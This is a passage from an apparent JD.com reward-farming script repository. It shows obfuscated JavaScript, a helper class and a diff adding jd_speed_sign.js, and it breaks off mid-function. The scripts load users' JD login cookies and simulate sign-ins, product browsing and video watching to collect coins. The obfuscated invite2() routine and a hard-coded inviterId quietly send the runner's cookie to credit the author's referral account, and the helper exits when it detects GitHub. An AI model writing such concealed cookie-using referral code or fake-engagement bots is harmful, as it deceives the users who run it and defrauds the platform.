_0x21ef96=[_0x3d7c25[_0x1526('‫233')]];if(process[_0x1526('‫9')][_0x1526('‮7b')]){if(_0x3d7c25[_0x1526('‮234')](_0x3d7c25[_0x1526('‮235')],_0x3d7c25[_0x1526('‮235')])){if(_0x3d7c25[_0x1526('‫236')](_0x2703c0[_0x1526('‮82')][_0x1526('‫df')][_0x1526('‮e0')],0x1)){message+='获得'+_0x2703c0[_0x1526('‮82')][_0x1526('‫df')][_0x1526('‫e4')]+'\x0a';console[_0x1526('‫c')]('获得'+_0x2703c0[_0x1526('‮82')][_0x1526('‫df')][_0x1526('‫e4')]);}else{console[_0x1526('‫c')](_0x3d7c25[_0x1526('‫237')]);}}else{_0x4aeda2=process[_0x1526('‫9')][_0x1526('‮7b')];}}else{if(_0x3d7c25[_0x1526('‮234')](_0x3d7c25[_0x1526('‫238')],_0x3d7c25[_0x1526('‫239')])){_0x4aeda2=_0x21ef96[Math[_0x1526('‮ac')](_0x3d7c25[_0x1526('‮23a')](Math[_0x1526('‮ae')](),_0x21ef96[_0x1526('‫28')]))];}else{console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](err));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}}let _0x23abe0={'url':_0x1526('‮23b'),'body':JSON[_0x1526('‫d')](_0x2703c0),'headers':{'Host':_0x4aeda2,'Content-Type':_0x3d7c25[_0x1526('‫23c')],'User-Agent':_0x3d7c25[_0x1526('‫23d')]},'timeout':_0x3d7c25[_0x1526('‮23e')](0x1e,0x3e8)};$[_0x1526('‮78')](_0x23abe0,(_0x388012,_0x34e235,_0x2703c0)=>{var _0x17b04f={'vKdnG':function(_0x199dd9,_0x478656){return _0x3afdfe[_0x1526('‮23f')](_0x199dd9,_0x478656);}};try{if(_0x3afdfe[_0x1526('‮240')](_0x3afdfe[_0x1526('‫241')],_0x3afdfe[_0x1526('‮242')])){if(_0x388012){if(_0x3afdfe[_0x1526('‮240')](_0x3afdfe[_0x1526('‫243')],_0x3afdfe[_0x1526('‮244')])){console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](_0x388012));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‮245'));}else{_0x17b04f[_0x1526('‫246')](_0xb2788b,_0x2703c0);}}else{}}else{console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](_0x388012));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}}catch(_0x4fcdd8){if(_0x3afdfe[_0x1526('‫247')](_0x3afdfe[_0x1526('‮248')],_0x3afdfe[_0x1526('‫249')])){$[_0x1526('‮22')](_0x4fcdd8,_0x34e235);}else{$[_0x1526('‮22')](_0x4fcdd8,_0x34e235);}}finally{_0x3afdfe[_0x1526('‮23f')](_0xb2788b,_0x2703c0);}});});}async function getSign(_0x33b771='',_0x5d19b4={},_0xcf2ffc=![]){var _0x363bb8={'gINuO':function(_0x5dd2f8,_0x45af23){return _0x5dd2f8(_0x45af23);},'AFqDx':_0x1526('‮5a'),'KdWpL':_0x1526('‮5b'),'DVwjo':_0x1526('‫5c'),'aezmG':_0x1526('‫5d'),'euGiy':_0x1526('‫5e'),'FXfUa':_0x1526('‮5f'),'XUyDD':_0x1526('‮60'),'iVCEQ':_0x1526('‮61'),'pNpcI':_0x1526('‫62'),'pQvhq':_0x1526('‮63'),'igaFE':_0x1526('‮24a'),'uGlLl':function(_0xff0cf,_0x47957e){return _0xff0cf===_0x47957e;},'dRafX':_0x1526('‫59'),'TGxLn':_0x1526('‮24b'),'byBFZ':_0x1526('‮24c'),'aPlKv':_0x1526('‮1bf'),'djRXc':_0x1526('‮1c0'),'ksxwy':_0x1526('‮1c1'),'YQfMD':_0x1526('‫1c2'),'xrhEX':_0x1526('‮24d'),'blHvJ':function(_0xc82691,_0x112cb1){return _0xc82691(_0x112cb1);},'weZZQ':function(_0x4c6213,_0x5aa0f6,_0x374a51){return _0x4c6213(_0x5aa0f6,_0x374a51);},'CGpQl':function(_0x253a50,_0x4758db){return _0x253a50!==_0x4758db;},'NINLd':_0x1526('‫24e'),'jVOKa':function(_0x582790,_0x51093e){return _0x582790(_0x51093e);}};let _0x2831d7=_0x363bb8[_0x1526('‮24f')];let _0x14a197={'functionId':_0x33b771,'body':JSON[_0x1526('‫d')](_0x5d19b4),'t':Date[_0x1526('‫ec')](),'appid':$[_0x1526('‮190')]};if(_0x363bb8[_0x1526('‮250')](_0x33b771,_0x363bb8[_0x1526('‫251')])){if(_0x363bb8[_0x1526('‮250')](_0x363bb8[_0x1526('‫252')],_0x363bb8[_0x1526('‮253')])){$[_0x1526('‫c')]('','❌\x20'+$[_0x1526('‮24')]+_0x1526('‫41')+e+'!','');}else{_0x14a197[_0x363bb8[_0x1526('‫254')]]='H5';_0x14a197[_0x363bb8[_0x1526('‮255')]]=_0x363bb8[_0x1526('‫256')];_0x2831d7=_0x363bb8[_0x1526('‮257')];}}if(_0xcf2ffc){if(_0x363bb8[_0x1526('‮250')](_0x363bb8[_0x1526('‮258')],_0x363bb8[_0x1526('‮258')])){Object[_0x1526('‫259')](_0x14a197,{'h5st':_0x363bb8[_0x1526('‮25a')](encodeURIComponent,await _0x363bb8[_0x1526('‫25b')](geth5st,_0x2831d7,_0x14a197))});}else{return{'url':_0x1526('‮155'),'body':_0x1526('‫1a8')+function_id+_0x1526('‮e9')+_0x363bb8[_0x1526('‫25c')](encodeURIComponent,JSON[_0x1526('‫d')](_0x5d19b4))+_0x1526('‫eb')+ +new Date()+_0x1526('‫1aa'),'headers':{'Host':_0x363bb8[_0x1526('‮25d')],'Accept':_0x363bb8[_0x1526('‮25e')],'Content-Type':_0x363bb8[_0x1526('‮25f')],'Origin':_0x363bb8[_0x1526('‫260')],'Accept-Language':_0x363bb8[_0x1526('‫261')],'User-Agent':$[_0x1526('‫1')]()?process[_0x1526('‫9')][_0x1526('‮70')]?process[_0x1526('‫9')][_0x1526('‮70')]:_0x363bb8[_0x1526('‫25c')](require,_0x363bb8[_0x1526('‫262')])[_0x1526('‫73')]:$[_0x1526('‫11')](_0x363bb8[_0x1526('‫263')])?$[_0x1526('‫11')](_0x363bb8[_0x1526('‫263')]):_0x363bb8[_0x1526('‮264')],'Referer':_0x363bb8[_0x1526('‮265')],'Accept-Encoding':_0x363bb8[_0x1526('‫266')],'Cookie':cookie}};}}if(_0x363bb8[_0x1526('‮267')](_0x33b771,_0x363bb8[_0x1526('‫251')])){_0x14a197[_0x363bb8[_0x1526('‫268')]]=_0x363bb8[_0x1526('‫269')](encodeURIComponent,_0x14a197[_0x363bb8[_0x1526('‫268')]]);}return _0x363bb8[_0x1526('‫269')](objToStr2,_0x14a197);}function objToStr2(){var _0x3b743e={'uaPQa':_0x1526('‮1c'),'YwjZj':_0x1526('‫1d'),'UcIho':function(_0x5f4ba1,_0x50154e){return _0x5f4ba1!==_0x50154e;},'KSrDN':_0x1526('‮26a'),'aslHa':function(_0x31d1a9,_0x5656f5){return _0x31d1a9!=_0x5656f5;},'usAaP':function(_0x4521d3,_0x449369){return _0x4521d3 instanceof _0x449369;},'lyRdB':function(_0x5f55d4,_0x38efaa){return _0x5f55d4 instanceof _0x38efaa;},'HDywI':function(_0x48a4f0,_0x9f5561){return _0x48a4f0===_0x9f5561;},'bxUcG':function(_0x2cf12f,_0xce1492){return _0x2cf12f===_0xce1492;},'fmyNt':function(_0x41ba5f,_0x2d1273){return _0x41ba5f>_0x2d1273;},'spEyc':function(_0x82a7c2,_0x1cee60){return _0x82a7c2!==_0x1cee60;}};var _0xa16404=_0x3b743e[_0x1526('‮26b')](arguments[_0x1526('‫28')],0x0)&&_0x3b743e[_0x1526('‮26c')](void 0x0,arguments[0x0])?arguments[0x0]:{},_0x153ca3='';return Object[_0x1526('‮6')](_0xa16404)[_0x1526('‮7')](function(_0x54cb23){var _0x2e31d4={'UbkuN':_0x3b743e[_0x1526('‮26d')],'hjlON':_0x3b743e[_0x1526('‫26e')]};if(_0x3b743e[_0x1526('‮26f')](_0x3b743e[_0x1526('‮270')],_0x3b743e[_0x1526('‮270')])){$[_0x1526('‮23')]($[_0x1526('‮24')],_0x2e31d4[_0x1526('‮271')],_0x2e31d4[_0x1526('‫272')],{'open-url':_0x2e31d4[_0x1526('‫272')]});return;}else{var _0x2fa0bf=_0xa16404[_0x54cb23];_0x3b743e[_0x1526('‫273')](null,_0x2fa0bf)&&(_0x153ca3+=_0x3b743e[_0x1526('‮274')](_0x2fa0bf,Object)||_0x3b743e[_0x1526('‫275')](_0x2fa0bf,Array)?''+(_0x3b743e[_0x1526('‮276')]('',_0x153ca3)?'':'&')+_0x54cb23+'='+JSON[_0x1526('‫d')](_0x2fa0bf):''+(_0x3b743e[_0x1526('‮277')]('',_0x153ca3)?'':'&')+_0x54cb23+'='+_0x2fa0bf);}}),_0x153ca3;}function invite2(){var _0x3a3f43={'rMXPF':_0x1526('‮153'),'qpfNc':_0x1526('‮154'),'YNFAf':function(_0x18ca7c,_0x188b7e){return _0x18ca7c*_0x188b7e;},'rIDio':_0x1526('‮155'),'mdFTZ':_0x1526('‫156'),'wVHIx':function(_0x4c6982,_0x289012){return _0x4c6982(_0x289012);},'DNQpm':_0x1526('‮5a'),'KxCYH':_0x1526('‮5b'),'lEfog':_0x1526('‫5c'),'nKfTB':_0x1526('‮157'),'aIsYO':_0x1526('‫5e'),'RpMBi':_0x1526('‮5f'),'sNkDw':_0x1526('‮60'),'zUEVp':_0x1526('‮61'),'NxdHE':_0x1526('‮158'),'xJSbF':_0x1526('‮63')};$[_0x1526('‮190')]=_0x3a3f43[_0x1526('‫278')];const _0x445d48=[_0x3a3f43[_0x1526('‮279')]];let _0x401a57=_0x445d48[Math[_0x1526('‮ac')](_0x3a3f43[_0x1526('‮27a')](Math[_0x1526('‮ae')](),_0x445d48[_0x1526('‫28')]))];let _0x5cc465={'url':_0x3a3f43[_0x1526('‫27b')],'body':_0x1526('‮195')+JSON[_0x1526('‫d')]({'method':_0x3a3f43[_0x1526('‮27c')],'data':{'channel':'1','encryptionInviterPin':_0x3a3f43[_0x1526('‫27d')](encodeURIComponent,_0x401a57),'type':0x1}})+_0x1526('‮198')+Date[_0x1526('‫ec')](),'headers':{'Host':_0x3a3f43[_0x1526('‫27e')],'Accept':_0x3a3f43[_0x1526('‮27f')],'Content-Type':_0x3a3f43[_0x1526('‮280')],'Origin':_0x3a3f43[_0x1526('‮281')],'Accept-Language':_0x3a3f43[_0x1526('‫282')],'User-Agent':$[_0x1526('‫1')]()?process[_0x1526('‫9')][_0x1526('‮70')]?process[_0x1526('‫9')][_0x1526('‮70')]:_0x3a3f43[_0x1526('‫27d')](require,_0x3a3f43[_0x1526('‮283')])[_0x1526('‫73')]:$[_0x1526('‫11')](_0x3a3f43[_0x1526('‫284')])?$[_0x1526('‫11')](_0x3a3f43[_0x1526('‫284')]):_0x3a3f43[_0x1526('‫285')],'Referer':_0x3a3f43[_0x1526('‮286')],'Accept-Encoding':_0x3a3f43[_0x1526('‮287')],'Cookie':cookie}};$[_0x1526('‮78')](_0x5cc465,(_0x3966b6,_0x4b6b44,_0x1892ad)=>{});};_0xodf='jsjiami.com.v6'; +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_speed_sign.js b/jd_speed_sign.js new file mode 100644 index 0000000..e5649bd --- /dev/null +++ b/jd_speed_sign.js @@ -0,0 +1,814 @@ +/* +京东极速版签到+赚现金任务 +每日9毛左右,满3,10,50可兑换无门槛红包 +⚠️⚠️⚠️一个号需要运行40分钟左右 + +活动时间:长期 +活动入口:京东极速版app-现金签到 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东极速版 +21 3,8 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js, tag=京东极速版, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png, enabled=true + +================Loon============== +[Script] +cron "21 3,8 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js,tag=京东极速版 + +===============Surge================= +京东极速版 = type=cron,cronexp="21 3,8 * * *",wake-system=1,timeout=33600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js + +============小火箭========= +京东极速版 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js, cronexpr="21 3,8 * * *", timeout=33600, enable=true +*/ +const $ = new Env('京东极速版'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = [], cookie = '', message; +let IPError = false; // 403 ip黑 +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'visa-card-001'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdGlobal() + await $.wait(2*1000) + if (IPError){ + console.log(`403 黑IP了,请换个IP`); + break; + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdGlobal() { + try { + await richManIndex() + + await wheelsHome() + await apTaskList() + await wheelsHome() + + // await signInit() + // await sign() + await invite() + await invite2() + $.score = 0 + $.total = 0 + await taskList() + await queryJoy() + // await signInit() + await cash() + await showMsg() + } catch (e) { + $.logErr(e) + } +} + + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.score}金币,共计${$.total}金币\n可兑换 ${($.total/10000).toFixed(2)} 元京东红包\n兑换入口:京东极速版->我的->金币` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +async function signInit() { + return new Promise(resolve => { + $.get(taskUrl('speedSignInit', { + "activityId": "8a8fabf3cccb417f8e691b6774938bc2", + "kernelPlatform": "RN", + "inviterId":"U44jAghdpW58FKgfqPdotA==" + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + //console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function sign() { + return new Promise(resolve => { + $.get(taskUrl('speedSign', { + "kernelPlatform": "RN", + "activityId": "8a8fabf3cccb417f8e691b6774938bc2", + "noWaitPrize": "false" + }), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === 0) { + console.log(`签到获得${data.data.signAmount}现金,共计获得${data.data.cashDrawAmount}`) + } else { + console.log(`签到失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function taskList() { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "version": "3.1.0", + "method": "newTaskCenterPage", + "data": {"channel": 1} + }), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + for (let task of data.data) { + $.taskName = task.taskInfo.mainTitle + if (task.taskInfo.status === 0) { + if (task.taskType >= 1000) { + await doTask(task.taskType) + await $.wait(1000) + } else { + $.canStartNewItem = true + while ($.canStartNewItem) { + if (task.taskType !== 3) { + await queryItem(task.taskType) + } else { + await startItem("", task.taskType) + } + } + } + } else { + console.log(`${task.taskInfo.mainTitle}已完成`) + } + if (IPError){ + console.error('API请求失败,停止执行') + break + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doTask(taskId) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "marketTaskRewardPayment", + "data": {"channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + IPError = true + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + console.log(`${data.data.taskInfo.mainTitle}任务完成成功,预计获得${data.data.reward}金币`) + } else { + console.log(`任务完成失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function queryJoy() { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', {"method": "queryJoyPage", "data": {"channel": 1}}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.taskBubbles) + for (let task of data.data.taskBubbles) { + await rewardTask(task.id, task.activeType) + await $.wait(500) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function rewardTask(id, taskId) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "joyTaskReward", + "data": {"id": id, "channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + $.score += data.data.reward + console.log(`气泡收取成功,获得${data.data.reward}金币`) + } else { + console.log(`气泡收取失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +async function queryItem(activeType = 1) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "queryNextTask", + "data": {"channel": 1, "activeType": activeType} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data) { + await startItem(data.data.nextResource, activeType) + } else { + console.log(`商品任务开启失败,${data.message}`) + $.canStartNewItem = false + IPError = true + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function startItem(activeId, activeType) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "enterAndLeave", + "data": { + "activeId": activeId, + "clientTime": +new Date(), + "channel": "1", + "messageType": "1", + "activeType": activeType, + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + IPError = true + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data) { + if (data.data.taskInfo.isTaskLimit === 0) { + let {videoBrowsing, taskCompletionProgress, taskCompletionLimit} = data.data.taskInfo + if (activeType !== 3) + videoBrowsing = activeType === 1 ? 5 : 10 + console.log(`【${taskCompletionProgress + 1}/${taskCompletionLimit}】浏览商品任务记录成功,等待${videoBrowsing}秒`) + await $.wait(videoBrowsing * 1000) + await endItem(data.data.uuid, activeType, activeId, activeType === 3 ? videoBrowsing : "") + } else { + console.log(`${$.taskName}任务已达上限`) + $.canStartNewItem = false + } + } else { + $.canStartNewItem = false + console.log(`${$.taskName}任务开启失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function endItem(uuid, activeType, activeId = "", videoTimeLength = "") { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', + { + "method": "enterAndLeave", + "data": { + "channel": "1", + "clientTime": +new Date(), + "uuid": uuid, + "videoTimeLength": videoTimeLength, + "messageType": "2", + "activeType": activeType, + "activeId": activeId + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.isSuccess) { + await rewardItem(uuid, 